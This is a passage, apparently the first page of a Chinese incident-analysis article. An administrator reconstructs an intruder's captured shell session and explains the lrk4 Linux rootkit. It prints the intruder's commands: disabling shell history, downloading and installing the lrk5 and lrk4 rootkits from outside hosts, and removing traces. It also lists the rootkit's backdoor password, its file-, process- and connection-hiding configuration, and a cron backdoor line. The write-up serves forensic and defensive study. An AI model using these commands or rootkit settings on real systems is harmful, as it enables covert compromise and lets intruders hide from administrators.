漏洞利用等方式获得了系统的控制权限,接下来他该做什么?许多电影情节中,非法闯入他人住宅,在不起眼的角落藏匿物件然后嫁祸于人的做法很司空见惯。于是把这种思维运用于Internet成了理所应当的现实! 通过数据包的监测追踪,我发现入侵者运行许多非常有趣的命令,为了便于说明其手法,我从追捕的数据包中整理了其精致的个性行为,并在必要命令旁加入注释: #unset HISTFILE;id;uname -a; uid=0(root) gid=0(root) groups=0(root), 1(bin), 2(daemon), 3(sys), 4(adm), 6(disk), 10(wheel) Linux res 2.4.7-4 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown /* 入侵者取消HISTFILE环境变量,系统无法记录入侵者所使用的命令; * 查看ID属性,确认成功溢出获得root权限; */ 查看所控制的系统环境 #mkdir /var/tmp/… #cd /var/tmp/… #wget http://packetstormsecurity.org/U ... its/lrk5.src.tar.gz /* 在/var/tmp建立一个隐含的“…”目录 * 试图利用wget从packetstormsecurity.org下载一个rootkit后门 */ 很佩服入侵者的记忆,能记住后门的准确URL地址并且大小写单词也非常准确,赞! #ls –al /usr/bin/wget ls: /usr/bin/wget: No such file or directory #find / -name wget –print /* 遗憾的是系统中没有安装wget,然而这使入侵过程变的更为有趣! */ 这期间,入侵行为大约停滞了5、6分钟(估计他在考虑如何下载程序)。 #lynx –source packetstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz \ >>lrk5.src.tar.gz #tar lrk5.src.tar.gz lrk5/bindshell.c lrk5/chfn/chfn.c lrk5/chfn/setpwnam.c lrk5/chsh/chsh.c lrk5/chsh/setpwnam.c lrk5/fileutils-3.13/intl/bindtextdom.c lrk5/fileutils-3.13/intl/dcgettext.c lrk5/fileutils-3.13/intl/dgettext.c lrk5/fileutils-3.13/intl/gettext.c lrk5/fileutils-3.13/lib/strtoul.c lrk5/fileutils-3.13/lib/Makefile lrk5/fileutils-3.13/lib/group_member.c lrk5/inetd/inetd.c lrk5/inetd/daemon.c lrk5/login/login.c lrk5/login/checktty.c lrk5/passwd/passwd.c lrk5/passwd/islocal.c lrk5/procps-1.01/&nbs
p; lrk5/procps-1.01/ps.c lrk5/procps-1.01/psmisc/ lrk5/procps-1.01/psmisc/pstree.c lrk5/procps-1.01/top.c lrk5/procps-1.01/utmp.c lrk5/rshd/rshd.c lrk5/sysklogd-1.3/ lrk5/sysklogd-1.3/syslog.c lrk5/sysklogd-1.3/syslogd.c lrk5/ssh-2.0.13/ lrk5/ssh-2.0.13/mkinstalldirs lrk5/ssh-2.0.13/INSTALL lrk5/ssh-2.0.13/lib/ lrk5/sniffer/ lrk5/sniffer/ip.h lrk5/sniffer/tcp.h lrk5/sniffer/bpf.h lrk5/sniffer/pcap.h lrk5/sniffer/Makefile lrk5/sniffer/libpcap-0.4.tar lrk5/sniffer/thesniff.c lrk5/sniffer/thesniff.c
…… #make all install /* 安装了一个庞大rootkit工具包,这里列出了包中的少量文件存放路径(真实 * 的解压因其长度占用篇幅太多,故作截选),从名字大体可以判断来示意此 */ rootkit各种惊人功能,触目惊心的感觉! #cd .. #rm –rf lrk* #lynx www.asiic.com/asiic/code/trojans/lrk4.src.tar.gz >lrk4.src.tar.gz #tar zxvf lrk4.src.tar.gz #make all install #vi rootkit.h ~include<net/if.h> #cd .. #rm –rf lrk /* 这一部分的操作看起来有点奇特,后来才知道由于lrk5编译失败后 * 攻击者下载了lrk4的rootkit,修改rootkit.h文件,并成功安装lrk */ 后门程序 为了检查入侵者安装的lrk4,我在实验环境中下载并编译lrk4包。对比原系统文件,其系统命令大部分被替换,这种极度渗透对于经验丰富的网络管理员将是一场噩梦!分析结构图如下(部分分析从源码文档翻译获得): 包目录结构: bindshell 端口/SHELL的守护进程 chfn 木马程序,当用户输入密码时,可获得root权限 chsh 木马程序,在获得Shell使用的时候运行,可获得root权限 crontab 木马程序,隐藏时间记录 (注:比如,定期运行隐藏目录…中的backdoor程序,可以使用 blackhat 20,*,*,*,* /var/tmp/…/backdoor >/dev/null 2>&1 ) du 木马程序,隐藏文件。 find 木马程序,隐藏文件。 fix 替代和修改文件的时期戳和校验和 ifconfig 在sniff进行窃听的时候,使其promise状态不可见 inetd 提供无须验证的远程访问服务。 killall 不杀隐含的进程中含有linsniff和hack字端的进程 linsniffer 包嗅探器 login 可以使用rootkit提供的密码登录任意帐号。假如使用root登录被拒绝,可以使用”rewt”登录。当登录成功后,关闭历史日志记录。 ls 隐藏文件和目录。假如定义rootkit.h的SHOWFLAG,可以使用ls -/查看所有文件。只要文件名或者目录名为”ptyr”、”hack.dir”、”w4r3z”就被自动隐藏。我们也可通过/dev/ptyr增加隐藏文件名的定义。 netstat 修改或者隐藏TCP/UDP连接的端口、套接字、IP地址或uid等连接参数。 /dev/ptyq中定义了隐藏类型: type 0: 隐藏uid号 type 1: 隐藏本地地址 type 2: 隐藏远程地址 type 3: 隐藏本地端口 type 4: 隐藏远程端口 type 5: 隐藏UNIX套接字路径 #######实 例######## 0 500 <- 隐藏UID号为500的连接 1 128.31 <- 隐藏128.31网段对本地的连接 2 128.31.39.20 <- 隐藏到128.31.39.20的远程连接 3 8000 <- 隐藏所有本地端口为8000的连接 4 6667 <- 隐藏所有远程端口为6667的连接 5 .term/socket <-隐藏包括于.term/socket的套接字连接 passwd 输入rootkit的密码取代系统原有密码 pidof 类似于ps和killall。它通常返回命令的pid号。任何类似于ps木马程序所定义的进程类型2或进程类型3,具体含义可参阅ps说明。 ps 隐藏指定的进程。其数据定义文件存放于/dev/ptyp中: 0 0 隐藏所有root权限运行的进程 1 p0 隐藏终端的进程 2 sniffer 隐藏所有以sniffer命名的进程 3 hack 隐藏所有带有hack字段的进程 象proghack1, hack.scan, snhack等一类的进程会自动隐藏。假如定义文件不起作用,确信在命名的类型定义字段后面没有多余的空格符 rshd 以ro 上一页 [1] [2] [3] [4] [5] 下一页
|